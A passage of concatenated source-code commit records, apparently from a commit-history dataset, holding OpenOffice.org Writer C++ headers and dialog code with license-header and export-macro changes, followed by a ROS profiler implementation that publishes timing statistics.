void SetRefPoint( const Point& rPoint, const Point &rRelAttr,
const Point &rRelPos );
const Point &GetRefPoint() const { return aRef; }
const Point &GetRelPos() const;
long GetLineHeight() const { return nLine; }
inline void InvalidateLayout() const;
inline void InvalidateCntnt() const;
inline void ValidateLayout() const;
inline void ValidateCntnt() const;
BOOL IsInvalid() const { return (bInvalidLayout || bInvalidCntnt); }
BOOL IsInvalidLayout() const { return bInvalidLayout; }
BOOL IsInvalidCntnt() const { return bInvalidCntnt; }
//BP 26.11.93: vgl. tabfrm.hxx, gilt bestimmt aber fuer andere auch...
//Zum Anmelden der Flys nachdem ein FlyCnt erzeugt _und_ eingefuegt wurde.
//Muss vom Erzeuger gerufen werden, denn erst nach dem Konstruieren wird
//Das Teil gepastet; mithin ist auch erst dann die Seite zum Anmelden der
//Flys erreichbar.
void RegistFlys();
//siehe layact.cxx
void AddRefOfst( long nOfst ) { aRef.Y() += nOfst; }
};
inline void SwFlyInCntFrm::InvalidateLayout() const
{
((SwFlyInCntFrm*)this)->bInvalidLayout = TRUE;
}
inline void SwFlyInCntFrm::InvalidateCntnt() const
{
((SwFlyInCntFrm*)this)->bInvalidCntnt = TRUE;
}
inline void SwFlyInCntFrm::ValidateLayout() const
{
((SwFlyInCntFrm*)this)->bInvalidLayout = FALSE;
}
inline void SwFlyInCntFrm::ValidateCntnt() const
{
((SwFlyInCntFrm*)this)->bInvalidCntnt = FALSE;
}
#endif
<commit_msg>INTEGRATION: CWS geordi2q04 (1.3.380); FILE MERGED 2003/09/02 10:38:02 rt 1.3.380.1: #111934#: Join CWS sw7pp1.<commit_after>/*************************************************************************
*
* $RCSfile: flyfrms.hxx,v $
*
* $Revision: 1.4 $
*
* last change: $Author: obo $ $Date: 2003-09-04 11:47:16 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _FLYFRMS_HXX
#define _FLYFRMS_HXX
#include "flyfrm.hxx"
//Basisklasse fuer diejenigen Flys, die sich relativ frei Bewegen koennen -
//also die nicht _im_ Inhalt gebundenen Flys.
class SwFlyFreeFrm : public SwFlyFrm
{
SwPageFrm *pPage; //Bei dieser Seite ist der Fly angemeldet.
void CheckClip( const SwFmtFrmSize &rSz ); //'Emergency' Clipping.
/** determines, if direct environment of fly frame has 'auto' size
OD 07.08.2003 #i17297#, #111066#, #111070#
start with anchor frame and search for a header, footer, row or fly frame
stopping at page frame.
return <true>, if such a frame is found and it has 'auto' size.
otherwise <false> is returned.
@author OD
@return boolean indicating, that direct environment has 'auto' size
*/
bool HasEnvironmentAutoSize() const;
protected:
virtual void NotifyBackground( SwPageFrm *pPage,
const SwRect& rRect, PrepareHint eHint);
SwFlyFreeFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
public:
virtual ~SwFlyFreeFrm();
virtual void MakeAll();
SwPageFrm *GetPage() { return pPage; }
const SwPageFrm *GetPage() const { return pPage; }
void SetPage( SwPageFrm *pNew ) { pPage = pNew; }
};
//Die Fly's, die an einem Layoutfrm haengen und nicht inhaltsgebunden sind
class SwFlyLayFrm : public SwFlyFreeFrm
{
public:
SwFlyLayFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
SwFlyLayFrm( SwFlyLayFrm& );
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
};
//Die Flys, die an einem Cntnt haengen nicht aber im Inhalt
class SwFlyAtCntFrm : public SwFlyFreeFrm
{
SwRect aLastCharRect; // Fuer autopositionierte Frames ( LAYER_IMPL )
protected:
//Stellt sicher, das der Fly an der richtigen Seite haengt.
void AssertPage();
virtual void MakeAll();
virtual void MakeFlyPos();
public:
SwFlyAtCntFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
void SetAbsPos( const Point &rNew );
// Fuer autopositionierte Frames ( LAYER_IMPL ), ueberprueft, ob sich
// die Ankerposition geaendert hat und invalidiert ggf.
void CheckCharRect();
SwTwips GetLastCharX() const { return aLastCharRect.Left() - Frm().Left(); }
SwTwips GetRelCharX( const SwFrm* pFrm ) const
{ return aLastCharRect.Left() - pFrm->Frm().Left(); }
SwTwips GetRelCharY( const SwFrm* pFrm ) const
{ return aLastCharRect.Bottom() - pFrm->Frm().Top(); }
void AddLastCharY( long nDiff ){ aLastCharRect.Pos().Y() += nDiff; }
};
//Die Flys, die an einem Zeichen in einem Cntnt haengen.
class SwFlyInCntFrm : public SwFlyFrm
{
Point aRef; //Relativ zu diesem Point wird die AbsPos berechnet.
long nLine; //Zeilenhoehe, Ref.Y() - nLine == Zeilenanfang.
BOOL bInvalidLayout :1;
BOOL bInvalidCntnt :1;
virtual void MakeFlyPos();
protected:
virtual void NotifyBackground( SwPageFrm *pPage,
const SwRect& rRect, PrepareHint eHint);
virtual void MakeAll();
public:
SwFlyInCntFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
virtual ~SwFlyInCntFrm();
virtual void Format( const SwBorderAttrs *pAttrs = 0 );
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
void SetRefPoint( const Point& rPoint, const Point &rRelAttr,
const Point &rRelPos );
const Point &GetRefPoint() const { return aRef; }
const Point &GetRelPos() const;
long GetLineHeight() const { return nLine; }
inline void InvalidateLayout() const;
inline void InvalidateCntnt() const;
inline void ValidateLayout() const;
inline void ValidateCntnt() const;
BOOL IsInvalid() const { return (bInvalidLayout || bInvalidCntnt); }
BOOL IsInvalidLayout() const { return bInvalidLayout; }
BOOL IsInvalidCntnt() const { return bInvalidCntnt; }
//BP 26.11.93: vgl. tabfrm.hxx, gilt bestimmt aber fuer andere auch...
//Zum Anmelden der Flys nachdem ein FlyCnt erzeugt _und_ eingefuegt wurde.
//Muss vom Erzeuger gerufen werden, denn erst nach dem Konstruieren wird
//Das Teil gepastet; mithin ist auch erst dann die Seite zum Anmelden der
//Flys erreichbar.
void RegistFlys();
//siehe layact.cxx
void AddRefOfst( long nOfst ) { aRef.Y() += nOfst; }
};
inline void SwFlyInCntFrm::InvalidateLayout() const
{
((SwFlyInCntFrm*)this)->bInvalidLayout = TRUE;
}
inline void SwFlyInCntFrm::InvalidateCntnt() const
{
((SwFlyInCntFrm*)this)->bInvalidCntnt = TRUE;
}
inline void SwFlyInCntFrm::ValidateLayout() const
{
((SwFlyInCntFrm*)this)->bInvalidLayout = FALSE;
}
inline void SwFlyInCntFrm::ValidateCntnt() const
{
((SwFlyInCntFrm*)this)->bInvalidCntnt = FALSE;
}
#endif
<|endoftext|> |
<commit_before>/*************************************************************************
*
* $RCSfile: porftn.hxx,v $
*
* $Revision: 1.7 $
*
* last change: $Author: obo $ $Date: 2004-11-16 15:52:41 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _PORFTN_HXX
#define _PORFTN_HXX
#include "porfld.hxx"
class SwTxtFrm;
class SwTxtFtn;
/*************************************************************************
* class SwFtnPortion
*************************************************************************/
class SwFtnPortion : public SwFldPortion
{
SwTxtFrm *pFrm; // um im Dtor RemoveFtn rufen zu koennen.
SwTxtFtn *pFtn;
KSHORT nOrigHeight;
public:
SwFtnPortion( const XubString &rExpand, SwTxtFrm *pFrm, SwTxtFtn *pFtn,
KSHORT nOrig = KSHRT_MAX );
void ClearFtn();
inline KSHORT& Orig() { return nOrigHeight; }
virtual void Paint( const SwTxtPaintInfo &rInf ) const;
virtual sal_Bool GetExpTxt( const SwTxtSizeInfo &rInf, XubString &rTxt ) const;
virtual SwPosSize GetTxtSize( const SwTxtSizeInfo &rInfo ) const;
virtual sal_Bool Format( SwTxtFormatInfo &rInf );
const SwTxtFtn* GetTxtFtn() const { return pFtn; };
OUTPUT_OPERATOR
};
/*************************************************************************
* class SwFtnNumPortion
*************************************************************************/
class SwFtnNumPortion : public SwNumberPortion
{
public:
inline SwFtnNumPortion( const XubString &rExpand, SwFont *pFnt )
: SwNumberPortion( rExpand, pFnt, sal_True, sal_False, 0 )
{ SetWhichPor( POR_FTNNUM ); }
OUTPUT_OPERATOR
};
/*************************************************************************
* class SwQuoVadisPortion
*************************************************************************/
class SwQuoVadisPortion : public SwFldPortion
{
XubString aErgo;
public:
SwQuoVadisPortion( const XubString &rExp, const XubString& rStr );
virtual sal_Bool Format( SwTxtFormatInfo &rInf );
virtual void Paint( const SwTxtPaintInfo &rInf ) const;
virtual sal_Bool GetExpTxt( const SwTxtSizeInfo &rInf, XubString &rTxt ) const;
inline void SetNumber( const XubString& rStr ) { aErgo = rStr; }
inline const XubString &GetQuoTxt() const { return aExpand; }
inline const XubString &GetContTxt() const { return aErgo; }
// Felder-Cloner fuer SplitGlue
virtual SwFldPortion *Clone( const XubString &rExpand ) const;
// Accessibility: pass information about this portion to the PortionHandler
virtual void HandlePortion( SwPortionHandler& rPH ) const;
OUTPUT_OPERATOR
};
/*************************************************************************
* class SwErgoSumPortion
*************************************************************************/
class SwErgoSumPortion : public SwFldPortion
{
public:
SwErgoSumPortion( const XubString &rExp, const XubString& rStr );
virtual xub_StrLen GetCrsrOfst( const KSHORT nOfst ) const;
virtual sal_Bool Format( SwTxtFormatInfo &rInf );
// Felder-Cloner fuer SplitGlue
virtual SwFldPortion *Clone( const XubString &rExpand ) const;
OUTPUT_OPERATOR
};
CLASSIO( SwFtnPortion )
CLASSIO( SwFtnNumPortion )
CLASSIO( SwQuoVadisPortion )
CLASSIO( SwErgoSumPortion )
#endif
<commit_msg>INTEGRATION: CWS ooo19126 (1.7.460); FILE MERGED 2005/09/05 13:40:56 rt 1.7.460.1: #i54170# Change license header: remove SISSL<commit_after>/*************************************************************************
*
* OpenOffice.org - a multi-platform office productivity suite
*
* $RCSfile: porftn.hxx,v $
*
* $Revision: 1.8 $
*
* last change: $Author: rt $ $Date: 2005-09-09 04:58:44 $
*
* The Contents of this file are made available subject to
* the terms of GNU Lesser General Public License Version 2.1.
*
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2005 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
************************************************************************/
#ifndef _PORFTN_HXX
#define _PORFTN_HXX
#include "porfld.hxx"
class SwTxtFrm;
class SwTxtFtn;
/*************************************************************************
* class SwFtnPortion
*************************************************************************/
class SwFtnPortion : public SwFldPortion
{
SwTxtFrm *pFrm; // um im Dtor RemoveFtn rufen zu koennen.
SwTxtFtn *pFtn;
KSHORT nOrigHeight;
public:
SwFtnPortion( const XubString &rExpand, SwTxtFrm *pFrm, SwTxtFtn *pFtn,
KSHORT nOrig = KSHRT_MAX );
void ClearFtn();
inline KSHORT& Orig() { return nOrigHeight; }
virtual void Paint( const SwTxtPaintInfo &rInf ) const;
virtual sal_Bool GetExpTxt( const SwTxtSizeInfo &rInf, XubString &rTxt ) const;
virtual SwPosSize GetTxtSize( const SwTxtSizeInfo &rInfo ) const;
virtual sal_Bool Format( SwTxtFormatInfo &rInf );
const SwTxtFtn* GetTxtFtn() const { return pFtn; };
OUTPUT_OPERATOR
};
/*************************************************************************
* class SwFtnNumPortion
*************************************************************************/
class SwFtnNumPortion : public SwNumberPortion
{
public:
inline SwFtnNumPortion( const XubString &rExpand, SwFont *pFnt )
: SwNumberPortion( rExpand, pFnt, sal_True, sal_False, 0 )
{ SetWhichPor( POR_FTNNUM ); }
OUTPUT_OPERATOR
};
/*************************************************************************
* class SwQuoVadisPortion
*************************************************************************/
class SwQuoVadisPortion : public SwFldPortion
{
XubString aErgo;
public:
SwQuoVadisPortion( const XubString &rExp, const XubString& rStr );
virtual sal_Bool Format( SwTxtFormatInfo &rInf );
virtual void Paint( const SwTxtPaintInfo &rInf ) const;
virtual sal_Bool GetExpTxt( const SwTxtSizeInfo &rInf, XubString &rTxt ) const;
inline void SetNumber( const XubString& rStr ) { aErgo = rStr; }
inline const XubString &GetQuoTxt() const { return aExpand; }
inline const XubString &GetContTxt() const { return aErgo; }
// Felder-Cloner fuer SplitGlue
virtual SwFldPortion *Clone( const XubString &rExpand ) const;
// Accessibility: pass information about this portion to the PortionHandler
virtual void HandlePortion( SwPortionHandler& rPH ) const;
OUTPUT_OPERATOR
};
/*************************************************************************
* class SwErgoSumPortion
*************************************************************************/
class SwErgoSumPortion : public SwFldPortion
{
public:
SwErgoSumPortion( const XubString &rExp, const XubString& rStr );
virtual xub_StrLen GetCrsrOfst( const KSHORT nOfst ) const;
virtual sal_Bool Format( SwTxtFormatInfo &rInf );
// Felder-Cloner fuer SplitGlue
virtual SwFldPortion *Clone( const XubString &rExpand ) const;
OUTPUT_OPERATOR
};
CLASSIO( SwFtnPortion )
CLASSIO( SwFtnNumPortion )
CLASSIO( SwQuoVadisPortion )
CLASSIO( SwErgoSumPortion )
#endif
<|endoftext|> |
<commit_before><commit_msg>coverity#704936 Unchecked dynamic_cast<commit_after><|endoftext|> |
<commit_before><commit_msg>SwViewShell::ImplEndAction: avoid direct PaintDesktop()<commit_after><|endoftext|> |
<commit_before>/*************************************************************************
*
* $RCSfile: multmrk.cxx,v $
*
* $Revision: 1.4 $
*
* last change: $Author: vg $ $Date: 2003-04-17 15:33:45 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#pragma hdrstop
#include "swtypes.hxx"
#include "multmrk.hxx"
#include "toxmgr.hxx"
#include "index.hrc"
#include "multmrk.hrc"
SwMultiTOXMarkDlg::SwMultiTOXMarkDlg( Window* pParent, SwTOXMgr& rTOXMgr ) :
SvxStandardDialog(pParent, SW_RES(DLG_MULTMRK)),
aEntryFT(this, SW_RES(FT_ENTRY)),
aTextFT(this, SW_RES(FT_TEXT)),
aTOXFT(this, SW_RES(FT_TOX)),
aOkBT(this, SW_RES(OK_BT)),
aCancelBT(this, SW_RES(CANCEL_BT)),
aTOXLB(this, SW_RES(LB_TOX)),
aTOXFL(this, SW_RES(FL_TOX)),
rMgr( rTOXMgr ),
nPos(0)
{
aTOXLB.SetSelectHdl(LINK(this, SwMultiTOXMarkDlg, SelectHdl));
USHORT nSize = rMgr.GetTOXMarkCount();
for(USHORT i=0; i < nSize; ++i)
aTOXLB.InsertEntry(rMgr.GetTOXMark(i)->GetText());
aTOXLB.SelectEntryPos(0);
aTextFT.SetText(rMgr.GetTOXMark(0)->GetTOXType()->GetTypeName());
FreeResource();
}
IMPL_LINK_INLINE_START( SwMultiTOXMarkDlg, SelectHdl, ListBox *, pBox )
{
if(pBox->GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND)
{ SwTOXMark* pMark = rMgr.GetTOXMark(pBox->GetSelectEntryPos());
aTextFT.SetText(pMark->GetTOXType()->GetTypeName());
nPos = pBox->GetSelectEntryPos();
}
return 0;
}
IMPL_LINK_INLINE_END( SwMultiTOXMarkDlg, SelectHdl, ListBox *, pBox )
void SwMultiTOXMarkDlg::Apply()
{
rMgr.SetCurTOXMark(nPos);
}
/*-----------------25.02.94 22:06-------------------
dtor ueberladen
--------------------------------------------------*/
SwMultiTOXMarkDlg::~SwMultiTOXMarkDlg() {}
<commit_msg>INTEGRATION: CWS tune03 (1.4.580); FILE MERGED 2004/07/19 19:11:35 mhu 1.4.580.1: #i29979# Added SW_DLLPUBLIC/PRIVATE (see swdllapi.h) to exported symbols/classes.<commit_after>/*************************************************************************
*
* $RCSfile: multmrk.cxx,v $
*
* $Revision: 1.5 $
*
* last change: $Author: rt $ $Date: 2004-08-23 09:05:25 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifdef SW_DLLIMPLEMENTATION
#undef SW_DLLIMPLEMENTATION
#endif
#pragma hdrstop
#include "swtypes.hxx"
#include "multmrk.hxx"
#include "toxmgr.hxx"
#include "index.hrc"
#include "multmrk.hrc"
SwMultiTOXMarkDlg::SwMultiTOXMarkDlg( Window* pParent, SwTOXMgr& rTOXMgr ) :
SvxStandardDialog(pParent, SW_RES(DLG_MULTMRK)),
aEntryFT(this, SW_RES(FT_ENTRY)),
aTextFT(this, SW_RES(FT_TEXT)),
aTOXFT(this, SW_RES(FT_TOX)),
aOkBT(this, SW_RES(OK_BT)),
aCancelBT(this, SW_RES(CANCEL_BT)),
aTOXLB(this, SW_RES(LB_TOX)),
aTOXFL(this, SW_RES(FL_TOX)),
rMgr( rTOXMgr ),
nPos(0)
{
aTOXLB.SetSelectHdl(LINK(this, SwMultiTOXMarkDlg, SelectHdl));
USHORT nSize = rMgr.GetTOXMarkCount();
for(USHORT i=0; i < nSize; ++i)
aTOXLB.InsertEntry(rMgr.GetTOXMark(i)->GetText());
aTOXLB.SelectEntryPos(0);
aTextFT.SetText(rMgr.GetTOXMark(0)->GetTOXType()->GetTypeName());
FreeResource();
}
IMPL_LINK_INLINE_START( SwMultiTOXMarkDlg, SelectHdl, ListBox *, pBox )
{
if(pBox->GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND)
{ SwTOXMark* pMark = rMgr.GetTOXMark(pBox->GetSelectEntryPos());
aTextFT.SetText(pMark->GetTOXType()->GetTypeName());
nPos = pBox->GetSelectEntryPos();
}
return 0;
}
IMPL_LINK_INLINE_END( SwMultiTOXMarkDlg, SelectHdl, ListBox *, pBox )
void SwMultiTOXMarkDlg::Apply()
{
rMgr.SetCurTOXMark(nPos);
}
/*-----------------25.02.94 22:06-------------------
dtor ueberladen
--------------------------------------------------*/
SwMultiTOXMarkDlg::~SwMultiTOXMarkDlg() {}
<|endoftext|> |
<commit_before>#include <ros/this_node.h>
#include <swri_profiler/profiler.h>
#include <ros/publisher.h>
#include <swri_profiler_msgs/ProfileIndex.h>
#include <swri_profiler_msgs/ProfileIndexArray.h>
#include <swri_profiler_msgs/ProfileData.h>
#include <swri_profiler_msgs/ProfileDataArray.h>
namespace spm = swri_profiler_msgs;
namespace swri_profiler
{
// Define/initialize static member variables for the Profiler class.
std::unordered_map<std::string, Profiler::ClosedInfo> Profiler::closed_blocks_;
std::unordered_map<std::string, Profiler::OpenInfo> Profiler::open_blocks_;
boost::thread_specific_ptr<Profiler::TLS> Profiler::tls_;
SpinLock Profiler::lock_;
// Declare some more variables. These are essentially more private
// static members for the Profiler, but by using static global
// variables instead we are able to keep more of the implementation
// isolated.
static bool profiler_initialized_ = false;
static ros::Publisher profiler_index_pub_;
static ros::Publisher profiler_data_pub_;
static boost::thread profiler_thread_;
// collectAndPublish resets the closed_blocks_ member after each
// update to reduce the amount of copying done (which might block the
// threads doing actual work). The incremental snapshots are
// collected here in all_closed_blocks_;
static std::unordered_map<std::string, spm::ProfileData> all_closed_blocks_;
static ros::Duration durationFromWall(const ros::WallDuration &src)
{
return ros::Duration(src.sec, src.nsec);
}
static ros::Time timeFromWall(const ros::WallTime &src)
{
return ros::Time(src.sec, src.nsec);
}
void Profiler::initializeProfiler()
{
SpinLockGuard guard(lock_);
if (profiler_initialized_) {
return;
}
ROS_INFO("Initializing swri_profiler...");
ros::NodeHandle nh;
profiler_index_pub_ = nh.advertise<spm::ProfileIndexArray>("/profiler/index", 1, true);
profiler_data_pub_ = nh.advertise<spm::ProfileDataArray>("/profiler/data", 100, false);
profiler_thread_ = boost::thread(Profiler::profilerMain);
profiler_initialized_ = true;
}
void Profiler::initializeTLS()
{
if (tls_.get()) {
ROS_ERROR("Attempt to initialize thread local storage again.");
return;
}
tls_.reset(new TLS());
tls_->stack_depth = 0;
tls_->stack_str = "";
char buffer[256];
snprintf(buffer, sizeof(buffer), "%p/", tls_.get());
tls_->thread_prefix = std::string(buffer);
initializeProfiler();
}
void Profiler::profilerMain()
{
ROS_DEBUG("swri_profiler thread started.");
while (ros::ok()) {
// Align updates to approximately every second.
ros::WallTime now = ros::WallTime::now();
ros::WallTime next(now.sec+1,0);
(next-now).sleep();
collectAndPublish();
}
ROS_DEBUG("swri_profiler thread stopped.");
}
void Profiler::collectAndPublish()
{
// Grab a snapshot of the current state.
std::unordered_map<std::string, ClosedInfo> new_closed_blocks;
std::unordered_map<std::string, OpenInfo> threaded_open_blocks;
ros::WallTime now = ros::WallTime::now();
{
SpinLockGuard guard(lock_);
new_closed_blocks.swap(closed_blocks_);
for (auto &pair : open_blocks_) {
threaded_open_blocks[pair.first].t0 = pair.second.t0;
pair.second.last_report_time = now;
}
}
// Reset all relative max durations.
for (auto &pair : all_closed_blocks_) {
pair.second.rel_total_duration = ros::Duration(0);
pair.second.rel_max_duration = ros::Duration(0);
}
// Flag to indicate if a new item was added.
bool update_index = false;
// Merge the new stats into the absolute stats
for (auto const &pair : new_closed_blocks) {
const auto &label = pair.first;
const auto &new_info = pair.second;
auto &all_info = all_closed_blocks_[label];
if (all_info.key == 0) {
update_index = true;
all_info.key = all_closed_blocks_.size();
}
all_info.abs_call_count += new_info.count;
all_info.abs_total_duration += durationFromWall(new_info.total_duration);
all_info.rel_total_duration += durationFromWall(new_info.rel_duration);
all_info.rel_max_duration = std::max(all_info.rel_max_duration,
durationFromWall(new_info.max_duration));
}
// Combine the open blocks from all threads into a single
// map.
std::unordered_map<std::string, spm::ProfileData> combined_open_blocks;
for (auto const &pair : threaded_open_blocks) {
const auto &threaded_label = pair.first;
const auto &threaded_info = pair.second;
size_t slash_index = threaded_label.find('/');
if (slash_index == std::string::npos) {
ROS_ERROR("Missing expected slash in label: %s", threaded_label.c_str());
continue;
}
ros::Duration duration = durationFromWall(now - threaded_info.t0);
const auto label = threaded_label.substr(slash_index+1);
auto &new_info = combined_open_blocks[label];
if (new_info.key == 0) {
auto &all_info = all_closed_blocks_[label];
if (all_info.key == 0) {
update_index = true;
all_info.key = all_closed_blocks_.size();
}
new_info.key = all_info.key;
}
new_info.abs_call_count++;
new_info.abs_total_duration += duration;
new_info.rel_total_duration += std::min(ros::Duration(1.0), duration);
new_info.rel_max_duration = std::max(new_info.rel_max_duration, duration);
}
if (update_index) {
spm::ProfileIndexArray index;
index.header.stamp = ros::Time::now();
index.header.frame_id = ros::this_node::getName();
index.data.resize(all_closed_blocks_.size());
for (auto const &pair : all_closed_blocks_) {
size_t i = pair.second.key - 1;
index.data[i].key = pair.second.key;
index.data[i].label = pair.first;
}
profiler_index_pub_.publish(index);
}
// Generate output message
spm::ProfileDataArray msg;
msg.header.stamp = timeFromWall(now);
msg.header.frame_id = ros::this_node::getName();
msg.data.resize(all_closed_blocks_.size());
for (auto &pair : all_closed_blocks_) {
auto const &item = pair.second;
size_t i = item.key - 1;
msg.data[i].key = item.key;
msg.data[i].abs_call_count = item.abs_call_count;
msg.data[i].abs_total_duration = item.abs_total_duration;
msg.data[i].rel_total_duration = item.rel_total_duration;
msg.data[i].rel_max_duration = item.rel_max_duration;
}
for (auto &pair : combined_open_blocks) {
auto const &item = pair.second;
size_t i = item.key - 1;
msg.data[i].abs_call_count += item.abs_call_count;
msg.data[i].abs_total_duration += item.abs_total_duration;
msg.data[i].rel_total_duration += item.rel_total_duration;
msg.data[i].rel_max_duration = std::max(
msg.data[i].rel_max_duration,
item.rel_max_duration);
}
profiler_data_pub_.publish(msg);
}
} // namespace swri_profiler
